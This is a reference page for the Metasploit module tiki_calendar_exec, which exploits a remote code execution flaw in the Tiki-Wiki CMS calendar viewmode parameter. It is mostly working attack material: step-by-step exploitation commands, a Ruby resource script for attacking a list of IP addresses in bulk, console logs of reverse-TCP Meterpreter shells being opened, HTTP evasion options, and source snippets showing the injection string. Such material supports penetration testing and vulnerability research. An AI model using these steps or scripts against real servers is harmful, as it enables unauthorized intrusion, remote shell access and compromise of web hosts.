Tiki-Wiki CMS Calendar Command Execution - Metasploit
This page contains detailed information about how to use the exploit/linux/http/tiki_calendar_exec metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Tiki-Wiki CMS Calendar Command Execution
Module: exploit/linux/http/tiki_calendar_exec
Source code: modules/exploits/linux/http/tiki_calendar_exec.rb
Disclosure date: 2016-06-06
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): php
Supported platform(s): PHP
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: -
Tiki-Wiki CMS's calendar module contains a remote code execution vulnerability within the viewmode GET parameter. The calendar module is NOT enabled by default. If enabled, the default permissions are set to NOT allow anonymous users to access. Vulnerable versions: <=14.1, <=12.4 LTS, <=9.10 LTS and <=6.14 Verified/Tested against 14.1
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Basic Usage
Using tiki_calendar_exec against a single host
Normally, you can use exploit/linux/http/tiki_calendar_exec this way:
msf > use exploit/linux/http/tiki_calendar_exec
msf exploit(tiki_calendar_exec) > show targets
... a list of targets ...
msf exploit(tiki_calendar_exec) > set TARGET target-id
msf exploit(tiki_calendar_exec) > show options
... show and set options ...
msf exploit(tiki_calendar_exec) > exploit
Using tiki_calendar_exec against multiple hosts
But it looks like this is a remote exploit module, which means you can also engage multiple hosts.
First, create a list of IPs you wish to exploit with this module. One IP per line.
Second, set up a background payload listener. This payload should be the same as the one your tiki_calendar_exec will be using:
- Do:
use exploit/multi/handler - Do:
set PAYLOAD [payload] - Set other options required by the payload
- Do:
set EXITONSESSION false - Do:
run -j
At this point, you should have a payload listening.
Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:
<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'
File.open(ip_list, 'rb').each_line do |ip|
print_status("Trying against #{ip}")
run_single("use exploit/linux/http/tiki_calendar_exec")
run_single("set RHOST #{ip}")
run_single("set DisablePayloadHandler true")
#
# Set a payload that's the same as the handler.
# You might also need to add more run_single commands to configure other
# payload options.
#
run_single("set PAYLOAD [payload name]")
run_single("run")
end
</ruby>
Next, run the resource script in the console:
msf > resource [path-to-resource-script]
And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:
msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80
RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600
[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Knowledge Base
Vulnerable Application
- Official Source: sourceforge
- Exploit-db: edb
- Archived Copy: github
Of note, there is some discussion if 14.2 is vuln or not.
- Exploit-DB says in the title (may be wrong) 14.2 is vuln.
- The linked app Exploit-DB has is 14.2.
- Its verified on Exploit-DB.
vs
- Manual print statement testing from the PoC on 14.2 doesn't seem to be vuln
- The notice seems to say 14.2 is the update that fixes the problem
Creating A Testing Environment
- Create a fresh Ubuntu 16.04 w/ a LAMP install
apt-get install php-xml- Normal php install at that point!
- After install, login as admin:admin
- Go to the Control Panels
- Click Features
- Enable Calendar under Main feature
- Click Apply
Permissions
If you wish to enable the non-logged in user (anonymous) to view/exploit the calendar:
- Log in as admin
- From the top dropdown select permissions
- Check Anonymous near the top
- Click Assign
Verification Steps
- Install the software as documented above
- Start msfconsole
- Do:
use exploit/linux/http/tiki_calendar_exec - Do:
set rhost 10.10.10.10 - (optional, if not set, set username to empty) Do:
set PASSWORD admin - Do:
set payload php/bind_perl - Do:
set verbose true - Do:
check
[*] Attempting Login
[+] Login Successful!
[+] 10.10.10.10:80 The target is vulnerable.
- Do:
exploit - You should get a shell
[*] Started reverse TCP handler on 10.10.10.10:4444
[*] Attempting Login
[+] Login Successful!
[*] Sending malicious calendar view packet
[*] Sending stage (33721 bytes) 10.10.10.10.190
[*] Meterpreter session 1 opened (10.10.10.10:4444 -> 192.168.2.190:48188) at 2016-06-19 08:50:44 -0400
Options
PASSWORD
Password is set at first login. Default for admin is 'admin'.
Scenarios
Example running against unauthenticated calendar v14.1
msf > use exploit/linux/http/tiki_calendar_exec
msf exploit(tiki_calendar_exec) > set rhost 192.168.2.190
rhost => 192.168.2.190
msf exploit(tiki_calendar_exec) > set targeturi /t14_1/
targeturi => /t14_1/
msf exploit(tiki_calendar_exec) > set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
msf exploit(tiki_calendar_exec) > set lhost 192.168.2.229
lhost => 192.168.2.229
msf exploit(tiki_calendar_exec) > set verbose true
verbose => true
msf exploit(tiki_calendar_exec) > set username ''
username =>
msf exploit(tiki_calendar_exec) > exploit
[*] Started reverse TCP handler on 192.168.2.229:4444
[*] Sending malicious calendar view packet
[*] Sending stage (33721 bytes) to 192.168.2.190
[*] Meterpreter session 1 opened (192.168.2.229:4444 -> 192.168.2.190:48172) at 2016-06-18 10:58:19 -0400
meterpreter > sysinfo
Computer : tikiwiki
OS : Linux tikiwiki 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:33:37 UTC 2016 x86_64
Meterpreter : php/php
meterpreter >
Go back to menu.
Msfconsole Usage
Here is how the linux/http/tiki_calendar_exec exploit module looks in the msfconsole:
msf6 > use exploit/linux/http/tiki_calendar_exec
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp
msf6 exploit(linux/http/tiki_calendar_exec) > show info
Name: Tiki-Wiki CMS Calendar Command Execution
Module: exploit/linux/http/tiki_calendar_exec
Platform: PHP
Arch: php
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2016-06-06
Provided by:
h00die <[email protected]>
Dany Ouellet
Available targets:
Id Name
-- ----
0 Automatic Target
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD admin yes Password of a user with calendar access
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The URI of Tiki-Wiki
USERNAME admin yes Username of a user with calendar access
VHOST no HTTP server virtual host
Payload information:
Description:
Tiki-Wiki CMS's calendar module contains a remote code execution
vulnerability within the viewmode GET parameter. The calendar module
is NOT enabled by default. If enabled, the default permissions are
set to NOT allow anonymous users to access. Vulnerable versions:
<=14.1, <=12.4 LTS, <=9.10 LTS and <=6.14 Verified/Tested against
14.1
References:
https://www.exploit-db.com/exploits/39965
https://tiki.org/article414-Important-Security-Fix-for-all-versions-of-Tiki
Module Options
This is a complete list of options available in the linux/http/tiki_calendar_exec exploit:
msf6 exploit(linux/http/tiki_calendar_exec) > show options
Module options (exploit/linux/http/tiki_calendar_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD admin yes Password of a user with calendar access
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The URI of Tiki-Wiki
USERNAME admin yes Username of a user with calendar access
VHOST no HTTP server virtual host
Payload options (php/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.204.3 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic Target
Advanced Options
Here is a complete list of advanced options supported by the linux/http/tiki_calendar_exec exploit:
msf6 exploit(linux/http/tiki_calendar_exec) > show advanced
Module advanced options (exploit/linux/http/tiki_calendar_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
ContextInformationFile no The information file that contains context information
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
DisablePayloadHandler false no Disable the handler code for the selected payload
EnableContextEncoding false no Use transient context when encoding payloads
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Payload advanced options (php/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoLoadStdapi true yes Automatically load the Stdapi extension
AutoRunScript no A script to run automatically on session creation.
AutoSystemInfo true yes Automatically capture system information on initialization.
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
EnableStageEncoding false no Encode the second stage payload
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
PayloadProcessCommandLine no The displayed command line that will be used by the payload
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
PingbackRetries 0 yes How many additional successful pingbacks
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
StageEncoder no Encoder to use if EnableStageEncoding is set
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the linux/http/tiki_calendar_exec module can exploit:
msf6 exploit(linux/http/tiki_calendar_exec) > show targets
Exploit targets:
Id Name
-- ----
0 Automatic Target
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the linux/http/tiki_calendar_exec exploit:
msf6 exploit(linux/http/tiki_calendar_exec) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
2 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
3 payload/multi/meterpreter/reverse_http normal No Architecture-Independent Meterpreter Stage, Reverse HTTP Stager (Multiple Architectures)
4 payload/multi/meterpreter/reverse_https normal No Architecture-Independent Meterpreter Stage, Reverse HTTPS Stager (Multiple Architectures)
5 payload/php/bind_perl normal No PHP Command Shell, Bind TCP (via Perl)
6 payload/php/bind_perl_ipv6 normal No PHP Command Shell, Bind TCP (via perl) IPv6
7 payload/php/bind_php normal No PHP Command Shell, Bind TCP (via PHP)
8 payload/php/bind_php_ipv6 normal No PHP Command Shell, Bind TCP (via php) IPv6
9 payload/php/download_exec normal No PHP Executable Download and Execute
10 payload/php/exec normal No PHP Execute Command
11 payload/php/meterpreter/bind_tcp normal No PHP Meterpreter, Bind TCP Stager
12 payload/php/meterpreter/bind_tcp_ipv6 normal No PHP Meterpreter, Bind TCP Stager IPv6
13 payload/php/meterpreter/bind_tcp_ipv6_uuid normal No PHP Meterpreter, Bind TCP Stager IPv6 with UUID Support
14 payload/php/meterpreter/bind_tcp_uuid normal No PHP Meterpreter, Bind TCP Stager with UUID Support
15 payload/php/meterpreter/reverse_tcp normal No PHP Meterpreter, PHP Reverse TCP Stager
16 payload/php/meterpreter/reverse_tcp_uuid normal No PHP Meterpreter, PHP Reverse TCP Stager
17 payload/php/meterpreter_reverse_tcp normal No PHP Meterpreter, Reverse TCP Inline
18 payload/php/reverse_perl normal No PHP Command, Double Reverse TCP Connection (via Perl)
19 payload/php/reverse_php normal No PHP Command Shell, Reverse TCP (via PHP)
Evasion Options
Here is the full list of possible evasion options supported by the linux/http/tiki_calendar_exec exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(linux/http/tiki_calendar_exec) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
Go back to menu.
Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Target does not have tiki-login_scr.php
Here is a relevant code snippet related to the "Target does not have tiki-login_scr.php" error message:
64: 'uri' => normalize_uri(target_uri.path, 'tiki-login_scr.php'),
65: 'method' => 'GET'
66: )
67:
68: if res && res.code == 404
69: fail_with(Failure::Unknown, 'Target does not have tiki-login_scr.php')
70: end
71:
72: cookie = res ? res.get_cookies : ''
73: # if we have creds, login with them
74: vprint_status('Attempting Login')
<PEER> Login Failed with <USERNAME>:<PASSWORD>
Here is a relevant code snippet related to the "<PEER> Login Failed with <USERNAME>:<PASSWORD>" error message:
89: )
90: # double check auth worked and we got a Log out on the page.
91: # at times I got it to auth, but then it would give permission errors
92: # so we want to try to double check everything is good
93: if res && res.body !~ /Log out/
94: fail_with(Failure::UnexpectedReply, "#{peer} Login Failed with #{datastore['USERNAME']}:#{datastore['PASSWORD']}")
95: end
96: vprint_good("Login Successful")
97: return cookie
98: rescue ::Rex::ConnectionError
99: fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
<PEER> - Could not connect to the web service
Here is a relevant code snippet related to the "<PEER> - Could not connect to the web service" error message:
94: fail_with(Failure::UnexpectedReply, "#{peer} Login Failed with #{datastore['USERNAME']}:#{datastore['PASSWORD']}")
95: end
96: vprint_good("Login Successful")
97: return cookie
98: rescue ::Rex::ConnectionError
99: fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
100: end
101: end
102:
103: # sends the calendar packet, returns the HTTP response
104: def send_calendar_packet(cookie, data)
<PEER> - Could not connect to the web service
Here is a relevant code snippet related to the "<PEER> - Could not connect to the web service" error message:
111: {
112: 'viewmode' => "';#{data};$a='"
113: }
114: )
115: rescue ::Rex::ConnectionError
116: fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
117: end
118: end
119:
120: # Version numbers are post auth, so we send a print statement w/
121: # 10 random characters and check for it in the response
<PEER> - Additional Permissions Required
Here is a relevant code snippet related to the "<PEER> - Additional Permissions Required" error message:
127: flag = Rex::Text.rand_text_alpha(10)
128: res = send_calendar_packet(cookie, "print(#{flag})")
129:
130: if res
131: if res.body =~ /You do not have permission to view the calendar/i
132: fail_with(Failure::NoAccess, "#{peer} - Additional Permissions Required")
133: elsif res.body =~ />#{flag}</
134: Exploit::CheckCode::Vulnerable
135: else
136: Exploit::CheckCode::Safe
137: end
<PEER> - Additional Permissions Required
Here is a relevant code snippet related to the "<PEER> - Additional Permissions Required" error message:
142: if datastore['USERNAME'] && !datastore['USERNAME'].blank?
143: cookie = authenticate
144: end
145:
146: vprint_status('Sending malicious calendar view packet')
147: res = send_calendar_packet(cookie, payload.encoded)
148: if res && res.body =~ /You do not have permission to view the calendar/i
149: fail_with(Failure::NoAccess, "#{peer} - Additional Permissions Required")
150: end
151: end
152: end
Go back to menu.
Related Pull Requests
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #7159 Merged Pull Request: Fix #7158, tiki_calendar_exec incorrectly reports successful login
- #6992 Merged Pull Request: tiki calendar exec
References
- CVE: Not available
- EDB-39965
- https://tiki.org/article414-Important-Security-Fix-for-all-versions-of-Tiki
See Also
Check also the following modules related to this module:
- exploit/unix/webapp/tikiwiki_graph_formula_exec
- exploit/unix/webapp/tikiwiki_jhot_exec
- exploit/unix/webapp/tikiwiki_unserialize_exec
- exploit/unix/webapp/tikiwiki_upload_exec
- auxiliary/admin/tikiwiki/tikidblib
- exploit/linux/http/webcalendar_settings_exec
- exploit/multi/browser/java_calendar_deserialize
- exploit/multi/http/wp_plugin_modern_events_calendar_rce
- exploit/windows/browser/symantec_backupexec_pvcalendar
- exploit/windows/lotus/domino_icalendar_organizer
- auxiliary/scanner/http/wordpress_cp_calendar_sqli
- auxiliary/scanner/http/wp_modern_events_calendar_sqli
Authors
- h00die <[email protected]>
- Dany Ouellet
Version
This page has been produced using Metasploit Framework version 6.1.33-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.
